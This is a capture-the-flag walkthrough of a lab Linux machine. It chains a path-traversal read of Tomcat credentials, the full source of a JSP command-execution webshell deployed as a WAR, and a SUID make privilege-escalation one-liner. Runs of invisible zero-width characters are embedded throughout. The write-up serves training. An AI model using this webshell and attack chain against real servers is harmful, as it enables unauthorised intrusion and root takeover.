Том (Tom)

Platform: hackerlab | Category: Pentest | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-01-17 | Status: Solved Techniques: lfi_exploitation, suid_make_privesc, tomcat_manager_rce, war_webshell

Summary

Task: Pentest machine with Tomcat and Flask log viewer. Solution: LFI in Flask app to read tomcat-users.xml, WAR deployment for RCE, SUID make for privilege escalation to root.

Том (Tom) - HackerLab

Description

"Этот кот полностью здоров, кстати."

Hint: Tom = Tomcat, healthy cat

Target: 192.168.2.216

Reconnaissance

Port Scanning

 bash read-only • copy allowed Copy
nmap -sV -sC -p- 192.168.2.216

Results:

• Port 22: SSH (OpenSSH 10.0)
• Port 8080: Apache Tomcat 9.0.106
• Port 65535: Werkzeug httpd 3.1.3 (Python Flask app) - key finding!

Non-standard port 65535 with Flask application is the main entry point.

Analysis

Flask Log Viewer (Port 65535)

The application on port 65535 is a Tomcat log viewer: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

http://192.168.2.216:65535/?log=catalina.out

Flask application source code (found in /opt/flask/tomcat_log_viewer.py):

 python read-only • copy allowed Copy
log_path = f"/opt/apache-tomcat-9.0.106/logs/{log}"
with open(log_path, 'r') as f:
    content = f.read()

Vulnerability: The log parameter is not filtered - classic Local File Inclusion (LFI).

Solution

Step 1: LFI Exploitation

Using path traversal to read Tomcat configuration:

 bash read-only • copy allowed Copy
curl "http://192.168.2.216:65535/?log=../conf/tomcat-users.xml"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Obtained credentials:

• Username: admin
• Password: etRISofAnKET
• Roles: manager-gui, admin-gui

Step 2: RCE via Tomcat Manager

Authenticate to Tomcat Manager:

http://192.168.2.216:8080/manager/html

Create JSP webshell:

 jsp read-only • copy allowed Copy
<%@ page import="java.util.*,java.io.*"%>
<%
String cmd = request.getParameter("c");
if(cmd != null) {
    String[] cmdarr = {"/bin/sh", "-c", cmd};
    Process p = Runtime.getRuntime().exec(cmdarr);
    BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
    String line;
    while((line = br.readLine()) != null) { out.println(line); }
}
%>

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Package into WAR:

 bash read-only • copy allowed Copy
mkdir shell && cd shell
echo '<JSP CODE>' > index.jsp
jar -cvf ../shell.war .

Deploy via Manager HTML interface (CSRF token required).

Get RCE as tomcat user:

http://192.168.2.216:8080/shell/index.jsp?c=id

Step 3: Privilege Escalation

Search for SUID binaries:

 bash read-only • copy allowed Copy
find / -perm -4000 -type f 2>/dev/null

Found /usr/bin/make with SUID bit set!

Using GTFOBins technique for make:

 bash read-only • copy allowed Copy
COMMAND='cat /root/flag.txt' && /usr/bin/make -s --eval=$'x:\n\t-'"$COMMAND"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Attack Chain

Port Scan → Flask App (65535) → LFI → tomcat-users.xml → 
Tomcat Manager → WAR Deploy → RCE → SUID make → root

Lessons

1. Non-standard ports: Always scan all 65535 ports
2. LFI in log viewers: Common vulnerability in log viewing applications
3. Tomcat credentials: Always check tomcat-users.xml via LFI
4. SUID binaries: make with SUID - easy path to root via GTFOBins ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍